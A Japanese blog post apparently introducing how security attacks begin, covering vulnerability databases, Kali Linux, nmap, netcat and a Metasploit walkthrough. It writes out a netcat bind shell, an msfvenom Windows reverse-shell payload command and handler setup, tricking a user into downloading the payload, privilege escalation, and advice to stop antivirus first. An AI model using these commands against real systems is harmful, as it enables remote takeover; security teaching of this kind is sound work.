セキュリティ

セキュリティ攻撃の入り口

投稿日:2022年3月9日 更新日:

ソフトウェアに脆弱性があっても、通常の機能を使う上では全く問題はありません。
しかし、ソフトウェア設計者、プログラマーの関心や意識のない機能外の箇所で、悪意のある処理を実行できるアクセスが可能となってしまっていることがあります。それを「脆弱性」と呼んでいます。
その脆弱性をついたセキュリティ攻撃の入り口について述べていきます。

■ セキュリティ攻撃(Exploit)とは何か

「ハックする」とは、詳細が不明確な対象(ブラックボックス)について深く調査することで本質を理解し、対象をコントロールできるような状態にすることを言います。通常、決して、悪行を意味するものではありません。

一方、別の言い方をすれば、サーバで動作しているソフトウェアの脆弱性を悪意をもって調査し、サーバを乗っ取って掌握することを目的にしたとすると、それは悪行を示唆するものとなります。

セキュリティ攻撃とは、営業妨害のため故意にサーバの負荷を高め、アクセス不可とするような単純なものに収まらず、ハッキング行為によりサーバを乗っ取ることを言います。
そうすれば、機密データを取得したり、重要なデータを暗号化することで身代金の請求などが可能となってしまいまます。

■ 脆弱性情報の入手

脆弱性に関する情報は、Exploit DatabaseOffensive Security社が運営)などで報告されています。

このサイトでは、脆弱性情報を識別するCVE番号とその詳細情報へのリンク、そして、攻撃コード、脆弱性を保有する製品名、解析情報、対策パッチやバージョンなどを公開しています。

たとえば、CVE番号(2021-41773)の脆弱性情報(Apache HTTPサーバ version 2.4.49の脆弱性)は、以下です。
攻撃(Exploit)のサンプルコード、および、 サンプルのApache HTTPサーバ version 2.4.49 の動作環境一式がダウンロードできます。

https://www.exploit-db.com/exploits/50383

このCVE番号(2021-41773)の脆弱性情報(Apache HTTPサーバ version 2.4.49の脆弱性) の詳細を見ると、
デフォルト設定においてHTTPサーバ内のパス探索が可能で、CGIスクリプトなどが見つかれば、外部からそれを実行することも可能であろうと記載されています。
そして、次バージョン(2.4.50)にて対策済みとなったと記載されています。


このようなデータベースを使って、ソフトウェア製品にどのような脆弱性が検出されているのかを確認することができます。脆弱性のないソフトウェア製品やバージョンを選定することに役立ちます。

しかし、上記のような情報は、皆でリスクを共有できて有益な反面、攻撃者にとっても有益です。

ターゲットとなるコンピュータのポートスキャンをかけて空いているポート番号とプロトコル名を把握し、
上記のExploit DBをプロトコル名で検索し、ヒットする脆弱性リポートを調査すれば、攻撃方法がわかってしまいます。

ウェイルスバスターなどのウィルス検出ソフトは、最新パターンファイルの更新によって、マルウェアなどの不正プログラムの実行には対処できるますが、守備範囲は限定的です。

したがって、更新される脆弱性情報を確認し、見つかった脆弱性に対処していくことを継続するしかありません。これは、かなり骨の折れる作業です。

■ 代表的な攻撃ツール

セキュリティ攻撃を仕掛けるための代表的なコマンドやツールには、以下のようなものがあります。

Kari Linux

侵入テストのために各種コマンドやアプリケーションがインストールされたLinuxに、”Kali Linux”があります。
以下に述べるツールを始め、多種多様なツールがあらかじめインストールされています。


・ポートスキャンコマンド(nmap

 コンピュータでオープンされている(リスニング状態)ポート番号を調査することができます。
 これによって、侵入に使えるポート番号を知ることができます。
 
たとえば、次のコマンドでコンピュータ(IPアドレス=192.168.56.107)へ、0~655535のポート番号でオープンされているポートをすべて調査することができます。

  nmap -sV -O -p- 192.168.56.107


・ネットキャット(nc)

 コンピュータのポートに、TCP・UDPを使って、データを送受信することができます。
 これによって、特定のポートに、任意のコマンドデータを送信したり、レスポンスデータを受信したりすることができます。
 
 インストール(Linux)→ http://netcat.sourceforge.net/download.php

 インストール(Windows)→ https://eternallybored.org/misc/netcat/

 ※インストール時の注意点として、ウィルスバスターなどが動作していると、即座に駆除されてしまいますので、
  停止させておいてからインストールする必要があります。
 
ネットキャットは、クライアント側(接続する側)だけではなく、サーバ側(接続される側)としても実行することができます。さらに、接続時に実行するプログラムを指定することができます。

たとえば、サーバ側をWindowsで起動し、その際、Windowsのコンソールアプリであるcmd.exeを指定しておきます。クライアント側をLinuxで実行すると、Windows上でコマンドをLinuxから実行することができるようになります。(ただし、逆のことは、cmd.exeに相当するものがLinuxにはないので、サーバ側がLinuxだと同様のことはできません)

【サーバ側】
・ 接続するポート番号、接続された際に実行するプログラムを指定し、待ち受ける

 nc -lvp 7777 -e cmd.exe

【クライアント側】
・サーバ側のIPアドレス、ポート番号を指定し、接続する

 nc 192.168.56.101 7777

Metaploit Framework

脆弱性がないかを確認するために、故意に侵入を試みるテストをペネトレーションテスト(侵入テスト)と言います。この侵入テストのためのパッケージソフトです。

あくまでも侵入テストのために作られているものですが、その矛先を変えれば、攻撃の手段として使えてしまいます。

Explot DataBaseには、Metaploitから使えるモジュールとして攻撃プログラムが準備された脆弱性がたくさんあります。Metaploitを使って、ターゲットへの攻撃をシミュレーションすることができます。


Metaploit Frameworkが提供するツールとして、攻撃ツール(msfconsole)があります。
ターミナルからmsfconsoleコマンドを起動すると、msfプロンプトが表示されます。
「show expolits」と打つと、各種攻撃ツールコマンドの一覧が表示されます。

たとえば、msfconsoleを使って、以下のような手順で攻撃を試すことができます。

①msfvenomコマンドによるターゲット上で実行するための実行プログラム(ターゲット用ペイロード)の生成
 
 以下のコマンドで、TCPのリバースシェルと呼ばれるWindows上で動作する実行プログラム(ターゲット用ペイロード)を作ります。

 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.109 -f exe -o /root/myattack.exe

  -p WindowsのTCPのリバースシェルを指定
  LHOST 攻撃を仕掛けるmsfconsoleが動作しているコンピュータのIPアドレス
  -f 実行形式ファイル
  -o 生成する実行ファイル名のフルパス


 このターゲット用ペイロードの機能は、LHOSTのIPアドレスにTCP接続(コネクトバック)をしてセッションを張ることです。

②ターゲット用ペイロードをターゲットのコンピュータに配置

この作業は、とてもアナログです。

まず、ターゲット用ペイロード をダウンロードさせるためにWebサーバを立ち上げます。

誰かがターゲットのWindowsコンピュータを操作している人に、Webサーバにアクセスしてもらい ターゲット用ペイロード がダウンロードされるのを待ちます。
(メールでダウンロードしたターゲット用ペイロードを添付してもいい)

以下のようにターゲット用ペイロード (myattack.exe)がWindowsのデスクトップ上にダウンロードされた状態とします。


③攻撃プログラムの実行(exploit)

msfconsoleで攻撃用ペイロードを実行します。
以下のように入力し、待ち受け状態とします。

 use exploit/multi/handler 使用する攻撃用ペイロードが含まれる分類を指定
 set payload windows/meterpreter/reverse_tcp  攻撃用ペイロードの設定
 set LHOST 192.168.56.109  攻撃を仕掛けるmsfconsoleが動作しているコンピュータのIPアドレス
 exploit 攻撃開始 → 待ち受け

④ターゲット用ペーロードからコネクトバック

これもアナログです。
ターゲットのWindowsにダウンロードされたターゲット用ペイロード (myattack.exe) が以下のように実行されるのを待ちます。


無事、上記のように ターゲット上でターゲット用ペイロード (myattack.exe) が実行されると、
msfconsoleでの待ち受けから抜けて、metapreterプロンプトが表示されます。
この状態になると、ターゲット上でコマンドを実行できるようになります。

⑤ハッキング開始

ここまで来て、やっとターゲットのハッキングをすることができます。
たとえば、Linux形式のlsコマンドで、フォルダの中を覗いたりなどすることができます。
helpコマンドで、用意されている攻撃用のコマンドも含めて表示できます。

実際、この後がハッキングの本番で、screenshotコマンドでターゲットのデスクトップ画面画像を入手したり、getsytemコマンドや別の攻撃用ペーロードを実行させ試行錯誤しながら、Windowsシステム権限を奪ったりします。
より自由にターゲットを操作できるようにするためにです。

■ まとめ

攻撃を仕掛ける準備するまで、調査も含めて、かなりの労力が必要です。
実際に攻撃を成功させるには身元がばれないための入念な調査と、事前に試行錯誤を繰り返して手順を確立する必要があり、さらに多くの労力が必要で、骨の折れる作業です。

しかし、リスクと労力をかけてでも、攻撃を仕掛けるには動機が必要です。たとえば、莫大な金銭が得られる、ターゲットに恨みつらみがあるなどです。ただ、いたずらを仕掛けたいだけでは、割にあいません。

誰もがターゲットになり得ることを想定し、重要なデータを守るには、原則、以下のようなセキュリティ対策を実施する必要があります。

 ・パケットフィルタリング
 ・通信暗号化
 ・ユーザ認証
 ・アクセス制限
 ・ウィルス検出/駆除ソフトの導入
 ・セキュリティプログラミング

-セキュリティ

執筆者:


comment

メールアドレスが公開されることはありません。 * が付いている欄は必須項目です

関連記事

情報セキュリティ

■そもそも「セキュリティ」とは何か ビルや商業施設には、監視カメラや警備員がいて、不正を働く輩がいないかを常時監視をしています。仮に不信な動きをする人が居れば、その行動を追跡し、事前に建物への不正侵入 …

情報セキュリティ

情報セキュリティについて、解説します。以下について、知ることができます。  ・情報セキュリティとは ・情報セキュリティの必要性と課題 ・セキュリティ侵害行為 ・セキュリティ対策 ■情報セキュリティとは …

Webセキュリティ

情報セキュリティの中で、最も注視される領域がインターネットを使うWebシステムのセキュリティです。拡大しているECサイトやWebサービスでは、誰でも使える「インターネット」を介してアクセスされます。顧 …